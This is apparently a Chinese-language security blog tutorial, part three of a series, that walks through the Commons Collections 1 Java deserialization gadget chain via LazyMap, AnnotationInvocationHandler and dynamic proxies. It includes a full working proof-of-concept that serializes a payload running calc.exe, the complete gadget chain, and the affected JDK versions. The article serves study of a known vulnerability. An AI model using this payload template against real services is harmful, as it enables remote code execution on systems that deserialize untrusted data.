Java安全之Commons Collections1分析(三)
0x00 前言
繼續來分析cc鏈,用了前面幾篇文章來鋪墊了一些知識。在上篇文章裡,其實是硬看程式碼,並沒有去除錯。因為一直找不到JDK的低版本。 全靠腦子去記傳參內容嘗試理解。後面的其實就簡單多了,在上篇文章的基礎上再去做一個分析。
0x01 CC鏈的另一種構造方式
上篇文章說到使用LazyMap
的get
方法也可以去觸發命令執行。因為LazyMap
的get
方法在
這裡看到this.factory
變數會去呼叫transform
方法。前面也分析了該類構造方法是一個protected
修飾的。不可被直接new。需要使用decorate
工廠方法去提供。那麼在前面我們呼叫該方法並傳入innerMap
和transformerChain
引數。
這裡的innerMap是一個Map的物件,transformerChain
是一個ChainedTransformer
修飾過的Transformer[]
陣列。
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
傳入過後,LazyMap
的get
方法方法裡面的this.factory
為Transformer[]
陣列,這時候去呼叫就會執行transform
方法,而ChainedTransformer
的transform
方法又會去遍歷呼叫Transformer[]
裡面的transform
方法,導致使用方式的方式傳入的Runtime
呼叫了exec
執行了calc.exe
彈出一個計算器。
當然在實際中,我們還需要藉助其他的類去呼叫這個get方法。
而在AnnotationInvocationHandler
的invoke
就會去呼叫get
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
這裡特地標出來
Object var6 = this.memberValues.get(var4);
前面說過 構造方法傳入的是transformerChain
, this.memberValues=transformerChain
this.memberValues
是一個ChainedTransformer
修飾過的Transformer[]
陣列。這時候呼叫get
,get
方法呼叫transform
,又回到了剛剛的話題上了。
AnnotationInvocationHandler
的invoke
怎麼去呼叫呢?
在這裡會使用到動態代理的方式去呼叫到該方法。關於動態代理可以參考該篇文章動態代理機制。
0x02 動態代理
關於動態代理,在這裡其實還是有必要單獨拿出來說一下動態代理這個機制。
動態代理的實現:
Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
-
第一個引數:People.getClass().getClassLoader(),使用handler物件的
classloader物件來載入我們的代理物件 -
第二個引數:Person.getClass().getInterfaces(),這里為代理類提供的介面 是真實物件實現的介面,這樣代理物件就能像真實物件一樣呼叫介面中的所有方法
-
第三個引數:我們將代理物件關聯到上面的InvocationHandler物件上
0x03 POC 分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
主要是來看這一段程式碼
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
這裡的handler是反射建立的一個 AnnotationInvocationHandler
類。而AnnotationInvocationHandler
中實現了InvocationHandler
介面,可以直接作為呼叫處理器傳入。
那麼在這段poc的執行中執行反序列化的時候,AnnotationInvocationHandler
重寫了readObject()
方法,所以呼叫的是AnnotationInvocationHandler
的readObject()
方法。readObject()
方法會去呼叫memberValues的entrySet()
方法。這裡的memberValues
是構造方法傳入進來的引數,我們是使用反射的方式對他進行建立傳入的是proxyMap
。
對應的程式碼:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
因為proxyMap
是我們的代理物件,所以呼叫proxyMap
的entrySet()
會觸發到AnnotationInvocationHandler
的invoke()
方法進行執行。這也是動態代理的一個特性,代理物件呼叫任意方法,呼叫處理器中的invoke()
方法都執行一次。
執行AnnotationInvocationHandler
的invoke()
方法後又會呼叫get方法,再次回到剛剛的地方了。
LazyMap
的get
方法方法裡面的this.factory
為Transformer[]
陣列,這時候去呼叫就會執行transform
方法,而ChainedTransformer
的transform
方法又會去遍歷呼叫Transformer[]
裡面的transform
方法,導致使用方式的方式傳入的Runtime
呼叫了exec
執行了calc.exe
彈出一個計算器。
那麼就剛好對應了前面標出來的一個利用鏈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 結尾
在CC1這條鏈裡面其實是有版本限制的,在高版本無法使用。因為AnnotationInvocationHandler
的readObject()
複寫點這個地方在高版本中是進行了改動。在其他大佬測試中jdk1.7u21、jdk1.8_101、jdk1.8_171這幾個版本是可用的。